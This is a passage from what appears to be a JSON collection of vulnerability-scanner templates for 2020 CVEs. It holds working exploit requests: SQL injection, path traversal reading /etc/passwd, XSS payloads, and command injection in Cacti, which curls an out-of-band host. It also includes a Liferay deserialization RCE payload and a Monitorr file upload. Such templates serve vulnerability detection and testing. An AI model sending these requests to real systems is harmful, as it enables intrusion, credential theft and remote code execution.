200","contains(body_4, \">\") && contains(body_4, \"Monstra\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["id=\"csrf\" name=\"csrf\" value=\"(.*)\">"],"internal":true,"part":"body"}]}]},{"id":"CVE-2020-12720","info":{"name":"vBulletin SQL Injection","severity":"critical"},"requests":[{"raw":["POST /ajax/api/content_infraction/getIndexableContent HTTP/1.1\nHost: {{Hostname}}\nX-Requested-With: XMLHttpRequest\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\nnodeId%5Bnodeid%5D=1%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2CCONCAT%28%27vbulletin%27%2C%27rce%27%2C%40%40version%29%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27--+-\n"],"matchers":[{"type":"word","words":["vbulletinrce"]}]}]},{"id":"CVE-2020-15129","info":{"name":"Traefik - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"headers":{"X-Forwarded-Prefix":"https://foo.nl"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Found"]},{"type":"status","status":[302]}]}]},{"id":"CVE-2020-9043","info":{"name":"WordPress wpCentral <1.5.1 - Information Disclosure","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/index.php HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-login.php?action=logout&_wpnonce={{nonce}} HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-admin/admin-ajax.php?action=my_wpc_signon&auth_key={{authkey}} HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["contains(header_4, 'text/html')","status_code_4 == 200","contains(body_4, 'wpCentral Connection Key')","contains(body_4, \"pagenow = \\'dashboard\\'\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"authkey","group":1,"regex":["style=\"word-wrap:break-word;\">([a-z0-9]+)"],"internal":true,"part":"body"},{"type":"regex","name":"nonce","group":1,"regex":["_wpnonce=([0-9a-z]+)"],"internal":true,"part":"body"}]}]},{"id":"CVE-2020-29453","info":{"name":"Jira Server Pre-Auth - Arbitrary File Retrieval (WEB-INF, META-INF)","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/s/{{randstr}}/_/%2e/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml","{{BaseURL}}/s/{{randstr}}/_/%2e/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["com.atlassian.jira"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8193","info":{"name":"Citrix - Local File Inclusion","severity":"medium"},"requests":[{"raw":["POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\nX-NITRO-USER: xpyZxwy6\nX-NITRO-PASS: xWXHUJ56\n\n\n","GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1\nHost: {{Hostname}}\n","GET /menu/neo HTTP/1.1\nHost: {{Hostname}}\n","GET /menu/stc HTTP/1.1\nHost: {{Hostname}}\n","POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\nX-NITRO-USER: oY39DXzQ\nX-NITRO-PASS: ZuU9Y9c1\nrand_key: {{randkey}}\n\n\n","POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\nX-NITRO-USER: oY39DXzQ\nX-NITRO-PASS: ZuU9Y9c1\nrand_key: {{randkey}}\n\n\n"],"cookie-reuse":true,"matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]}],"extractors":[{"type":"regex","name":"randkey","regex":["(?m)[0-9]{3,10}\\.[0-9]+"],"internal":true,"part":"body"}]}]},{"id":"CVE-2020-11529","info":{"name":"Grav <1.7 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/%252f%255cinteract.sh%252fa%253fb/"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2020-25864","info":{"name":"HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1\nHost: {{Hostname}}\n\n\n","GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body_2","words":[""]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-22210","info":{"name":"74cms - ajax_officebuilding.php SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/plus/ajax_officebuilding.php?act=key&key=\u9326%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{num}}),5,6,7,8,9%23"],"matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]}]}]},{"id":"CVE-2020-13258","info":{"name":"Contentful <=2020-05-21 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /?cda'\"&locale=locale=de-DE HTTP/1.1 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["{'api': '","',"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-5847","info":{"name":"UnRaid <=6.80 - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/webGui/images/green-on.png/?path=x&site[x][text]=%3C?php%20echo%20md5(%22CVE-2020-5847%22);%20?%3E"],"matchers-condition":"and","matchers":[{"type":"word","words":["b13928fbcfff659363d7c7d1ec008d56"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-10148","info":{"name":"SolarWinds Orion API - Auth Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/web.config.i18n.ashx?l={{string}}&v={{string}}","{{BaseURL}}/SWNetPerfMon.db.i18n.ashx?l={{string}}&v={{string}}"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["SolarWinds.Orion.Core.","Connection String"],"condition":"or"},{"type":"word","part":"header","words":["text/plain"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-17453","info":{"name":"WSO2 Carbon Management Console <=5.10 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/carbon/admin/login.jsp?msgId=%27%3Balert(%27document.domain%27)%2F%2F"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'';alert('document.domain')//';"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-9344","info":{"name":"Jira Subversion ALM for Enterprise <8.8.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/plugins/servlet/svnwebclient/changedResource.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E","{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?%27)%3Balert(%22XSS","{{BaseURL}}/plugins/servlet/svnwebclient/commitGraph.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E","{{BaseURL}}/plugins/servlet/svnwebclient/error.jsp?errormessage=%27%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&description=test","{{BaseURL}}/plugins/servlet/svnwebclient/statsItem.jsp?url=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","jira","subversion"],"condition":"and","case-insensitive":true},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-9483","info":{"name":"SkyWalking SQLI","severity":"high"},"requests":[{"method":"POST","path":["{{BaseURL}}/graphql"],"body":"{\"query\":\"query SQLi($d: Duration!){globalP99:getLinearIntValues(metric: {name:\\\"all_p99\\\",id:\\\"') UNION SELECT 1,CONCAT('~','9999999999','~')-- \\\",}, duration: $d){values{value}}}\",\"variables\":{\"d\":{\"start\":\"2021-11-11\",\"end\":\"2021-11-12\",\"step\":\"DAY\"}}}\n","headers":{"Content-Type":"application/json"},"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["Content-Type: application/json"]},{"type":"word","part":"body","words":["UNION SELECT 1,CONCAT('~','9999999999','~')--","Exception while fetching data"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-14181","info":{"name":"Jira Server and Data Center - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/secure/ViewUserHover.jspa"],"matchers-condition":"and","matchers":[{"type":"word","words":["user-hover-details","content=\"JIRA\""],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35986","info":{"name":"Rukovoditel <= 2.7.2 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=users_groups/users_groups&action=save HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0¬es=test\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2020-15895","info":{"name":"D-Link DIR-816L 2.x - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/info.php?RESULT=\",msgArray);alert(document.domain);//"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[";alert(document.domain);","DIR-816L"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-2140","info":{"name":"Jenkin Audit Trail <=3.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample","{{BaseURL}}/jenkins/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["

sample"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-24571","info":{"name":"NexusDB <4.50.23 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/../../../../../../../../windows/win.ini"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["[extensions]"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-12127","info":{"name":"WAVLINK WN530H4 M30H4.V5030.190403 - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/ExportAllSettings.sh"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Login=","Password=","Model=","AuthMode="],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-28351","info":{"name":"Mitel ShoreTel 19.46.1802.0 Devices - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E?page=HOME"],"headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["Content-Type: text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-17496","info":{"name":"vBulletin 5.5.4 - 5.6.2- Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsubWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;\"\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35736","info":{"name":"GateOne 1.1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8813","info":{"name":"Cacti v1.2.8 - Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /graph_realtime.php?action=init HTTP/1.1\nHost: {{Hostname}}\nCookie: Cacti=%3Bcurl%20http%3A//{{interactsh-url}}\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: curl"]}]}]},{"id":"CVE-2020-9496","info":{"name":"Apache OFBiz 17.12.03 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /webtools/control/xmlrpc HTTP/1.1\nHost: {{Hostname}}\nOrigin: http://{{Hostname}}\nContent-Type: application/xml\n\nProjectDiscoverydwisiswant0\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["faultString","No such service [ProjectDiscovery]","methodResponse"],"condition":"and"},{"type":"word","part":"header","words":["Content-Type: text/xml"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-29583","info":{"name":"ZyXel USG - Hardcoded Credentials","severity":"critical"},"requests":[{"raw":["GET /?username=zyfwp&password=PrOw!aN_fXp HTTP/1.1\nHost: {{Hostname}}\n","GET /ext-js/index.html HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["data-qtip=\"Web Console","CLI","Configuration\">"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-28871","info":{"name":"Monitorr 1.7.6m - Unauthenticated Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /assets/php/upload.php HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nAccept: text/plain, */*; q=0.01\nConnection: close\nAccept-Language: en-US,en;q=0.5\nX-Requested-With: XMLHttpRequest\nContent-Type: multipart/form-data; boundary=---------------------------31046105003900160576454225745\nOrigin: http://{{Hostname}}\nReferer: http://{{Hostname}}\n\n-----------------------------31046105003900160576454225745\nContent-Disposition: form-data; name=\"fileToUpload\"; filename=\"{{randstr}}.php\"\nContent-Type: image/gif\n\nGIF89a213213123\n\n-----------------------------31046105003900160576454225745--\n","GET /assets/data/usrimg/{{tolower(\"{{randstr}}.php\")}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["d03c180355b797069cc047ff5606d689"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-14092","info":{"name":"WordPress PayPal Pro <1.1.65 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/?cffaction=get_data_from_database&query=SELECT%20*%20from%20wp_users"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["\"user_login\"","\"user_email\"","\"user_pass\"","\"user_activation_key\""],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-21012","info":{"name":"Sourcecodester Hotel and Lodge Management System 2.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /forgot_password.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nbtn_forgot=1&email=1%27%20or%20sleep(6)%23\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(body, \"Hotel Booking System\")"],"condition":"and"}]}]},{"id":"CVE-2020-29227","info":{"name":"Car Rental Management System 1.0 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?page=/etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-17505","info":{"name":"Artica Web Proxy 4.30 - OS Command Injection","severity":"high"},"requests":[{"raw":["GET /fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27; HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","GET /cyrus.index.php?service-cmds-peform=%7C%7Cwhoami%7C%7C HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["array(2)","Position: ||whoami||","root"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8115","info":{"name":"Revive Adserver <=5.0.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/www/delivery/afr.php?refresh=10000&\")',10000000);alert(1337);setTimeout('alert(\""],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["(?mi)window\\.location\\.replace\\(\".*alert\\(1337\\)"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-27481","info":{"name":"Good Layers LMS Plugin <= 2.1.4 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=gdlr_lms_cancel_booking&id=(SELECT%201337%20FROM%20(SELECT(SLEEP(6)))MrMV)\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(body, 'goodlayers-lms') || contains(body, 'goodlms')"],"condition":"and"}]}]},{"id":"CVE-2020-26948","info":{"name":"Emby Server Server-Side Request Forgery","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://notburpcollaborator.net"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Name or service not known"]},{"type":"word","part":"header","words":["text/plain"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2020-5412","info":{"name":"Spring Cloud Netflix - Server-Side Request Forgery","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/proxy.stream?origin=http://{{interactsh-url}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"header","words":["Jelly"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-10546","info":{"name":"rConfig 3.9.4 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/compliancepolicies.inc.php?search=True&searchColumn=policyName&searchOption=contains&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL+--+"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["[project-discovery]"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-7961","info":{"name":"Liferay Portal Unauthenticated < 7.2.1 CE GA2 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /api/jsonws/invoke HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nReferer: {{BaseURL}}/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultData\ncmd2: {{command}}\n\ncmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth={{to_lower(rand_text_alpha(5))}}&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878%3B%22%7D\n"],"payloads":{"command":["systeminfo","lsb_release -a"]},"matchers-condition":"and","matchers":[{"type":"regex","regex":["OS Name:.*Microsoft Windows","Distributor ID:"],"condition":"or"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["Microsoft Windows (.*)","Distributor ID: (.*)"],"part":"body"}]}]},{"id":"CVE-2020-8194","info":{"name":"Citrix ADC and Citrix NetScaler Gateway - Remote Code Injection","severity":"medium"},"requests":[{"raw":["GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337\">&id=3&nsvpx=phpinfo HTTP/1.1\nHost: {{Hostname}}\nCookie: startupapp=st\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["application/x-java-jnlp-file"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8772","info":{"name":"WordPress InfiniteWP <1.9.4.5 - Authorization Bypass","severity":"critical"},"requests":[{"raw":["GET /?author=1 HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Language: en-US,en;q=0.9\n","POST / HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nContent-Type: application/x-www-form-urlencoded\n\n_IWP_JSON_PREFIX_{{base64(\"{\\\"iwp_action\\\":\\\"add_site\\\",\\\"params\\\":{\\\"username\\\":\\\"{{username}}\\\"}}\")}}\n"],"host-redirects":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["wordpress_logged_in"]},{"type":"word","part":"body","words":[""]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"username","group":1,"regex":["Author:(?:[A-Za-z0-9 -\\_=\"]+)?([A-Za-z0-9]+)<\\/span>"],"internal":true,"part":"body"},{"type":"regex","name":"username","group":1,"regex":["ion: https:\\/\\/[a-z0-9.]+\\/author\\/([a-z]+)\\/"],"internal":true,"part":"header"}]}]},{"id":"CVE-2020-13483","info":{"name":"Bitrix24 <=20.0.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=*/%29%7D%29;function+__MobileAppList()%7Balert(1)%7D//>","{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=%3Cimg+src=%22//%0d%0a)%3B//%22%22%3E%3Cdiv%3Ex%0d%0a%7D)%3Bvar+BX+=+window.BX%3Bwindow.BX+=+function(node,+bCache)%7B%7D%3BBX.ready+=+function(handler)%7B%7D%3Bfunction+__MobileAppList(test)%7Balert(document.domain)%3B%7D%3B//%3C/div%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["*/)});function __MobileAppList(){alert(1)}//","function(handler){};function __MobileAppList(test){alert(document.domain);};//

"],"condition":"or"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8515","info":{"name":"DrayTek - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /cgi-bin/mainfunction.cgi HTTP/1.1\nHost: {{Hostname}}\n\naction=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-19625","info":{"name":"Gridx 1.3 - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/tests/support/stores/test_grid_filter.php?query=echo%20md5%28%22CVE-2020-19625%22%29%3B"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["6ca86c2c17047c14437f55c42c801c10"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-24902","info":{"name":"Quixplorer <=2.4.1 - Cross-Site 